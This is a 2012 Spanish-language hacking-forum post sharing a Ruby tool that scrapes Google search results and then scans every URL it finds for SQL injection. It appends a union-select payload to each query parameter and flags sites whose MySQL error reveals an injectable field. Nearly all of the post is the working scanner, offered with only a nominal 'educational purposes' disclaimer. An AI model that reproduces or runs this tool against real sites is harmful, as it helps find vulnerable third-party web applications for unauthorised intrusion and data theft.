Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: BigBear en 11 Febrero 2012, 23:06 pm



Título: [Ruby] Google Search 0.3
Publicado por: BigBear en 11 Febrero 2012, 23:06 pm
Un buscador de google , con la opcion de poder hacer un scanner SQLI en las paginas encontradas.

Código
  1. #!usr/bin/ruby
  2. #Google Search 0.3
  3. #Coded By Doddy H
  4.  
  5. require "net/http"
  6.  
  7. def toma(web)
  8.  return Net::HTTP.get_response(URI.parse(web)).body
  9. end
  10.  
  11. def openwords(file)
  12.  if File.file?(file)
  13.    print "[+] Opening file\n\n"
  14.    ar = File.open(file)
  15.    lineas = ar.readlines
  16.    ar.close
  17.    print "[+] Number of words : ",lineas.length,"\n\n"
  18.    return lineas
  19.  else
  20.    print "[-] Error opening file\n"
  21.  end
  22. end
  23.  
  24. def head()
  25.  print "
  26.  @@@@                     @           @@@                        @    
  27. @    @                    @          @   @                       @    
  28. @                         @          @                           @    
  29. @        @@@   @@@   @@@@ @  @@@     @       @@@   @@@  @@  @@@  @ @@
  30. @  @@@  @   @ @   @ @   @ @ @   @     @@@   @   @     @ @  @   @ @@  @
  31. @    @  @   @ @   @ @   @ @ @@@@@        @  @@@@@  @@@@ @  @     @   @
  32. @    @  @   @ @   @ @   @ @ @            @  @     @   @ @  @     @   @
  33. @   @@  @   @ @   @ @   @ @ @   @    @   @  @   @ @   @ @  @   @ @   @
  34.  @@@ @   @@@   @@@   @@@@ @  @@@      @@@    @@@   @@@@ @   @@@  @   @
  35.                         @                                            
  36.                     @@@@                                              
  37.  
  38.  
  39.  
  40.                     "
  41. end
  42.  
  43. def retor()
  44.  print "\n\n[+] Press any key to continue\n\n"
  45.  gets.chomp
  46.  menu()
  47. end
  48.  
  49.  
  50. def copyright()
  51.  print "\n\n(C) Doddy Hackman 2012\n\n"
  52.  exit(1)
  53. end
  54.  
  55. def about()
  56.  print "
  57.  
  58. This program was written by Doddy in the summer of 2012, I will not take responsibility for any misuse that can be given to the program was written only for educational purposes.
  59. Any questions or suggestions please contact me my mail lepuke [at] hotmail.com
  60.  
  61.  "
  62.  
  63. end
  64.  
  65.  
  66. def googlear(string,cantidad)
  67.  print "\n\n[+] Searching ....\n\n"
  68.  string = string.sub(/ /,"+")
  69.  contador = 0
  70.  guardo = []
  71.  for i in ("1"..cantidad)
  72.    contador+=10
  73.    url = "http://www.google.com.ar/search?hl=&q=#{string}&start=#{contador}"
  74.    code = toma(url)
  75.    links = URI::extract(code)
  76.    links.each do |link|
  77.      if link=~/cache:(.*?):(.*?)\+/
  78.        guardo.push($2)
  79.      end
  80.    end
  81.  end
  82.  guardo = guardo.uniq
  83.  print "\n\n[+] Pages Count : ",guardo.length,"\n\n"
  84.  return guardo
  85. end
  86.  
  87. def savefile(file,text)
  88.   save = File.open(file, "a")
  89.   save.puts text+"\n"
  90.   save.close
  91. end
  92.  
  93. def menu()
  94.  head()
  95.  print "\n\n1 - Search in google\n"
  96.  print "2 - Scan SQLI\n"
  97.  print "3 - About\n"
  98.  print "4 - Exit"
  99.  print "\n\n[Option] : "
  100.  op = gets.chomp
  101.  
  102.  if op == "1"
  103.    print "\n\n[+] String : "
  104.    string = gets.chomp
  105.    print "\n\n[+] Pages : "
  106.    pages = gets.chomp
  107.    total = googlear(string,pages)
  108.    total.each do |to|
  109.      print "[Link] : ",to,"\n"
  110.      savefile(string+".txt",to)
  111.    end
  112.    retor()
  113.  
  114.  elsif op=="2"
  115.    print "\n\n[+] File : "
  116.    fi = gets.chomp
  117.    paginas = openwords(fi)
  118.    print "[+] Scanning ..\n\n\n"
  119.    paginas.each do |pag|
  120.      pag = pag.chomp
  121.      if pag=~/(.*)=(.*)/
  122.        final = $1+"="
  123.        code = toma(final+"1+and+1=0+union+select+1--")
  124.        if code=~/The used SELECT statements have a different number of columns/
  125.          print "[SQLI] : "+final+"\n"
  126.        end
  127.      end
  128.    end
  129.    print "\n\n[+] Finished\n\n"
  130.    retor()
  131.  
  132.  elsif op =="3"
  133.    about()
  134.    gets.chomp
  135.    menu()
  136.  
  137.  elsif op=="4"
  138.    copyright()
  139.  else
  140.   menu()    
  141.  end
  142. end
  143.  
  144. menu()
  145.  
  146. # The End ?
  147.  
  148.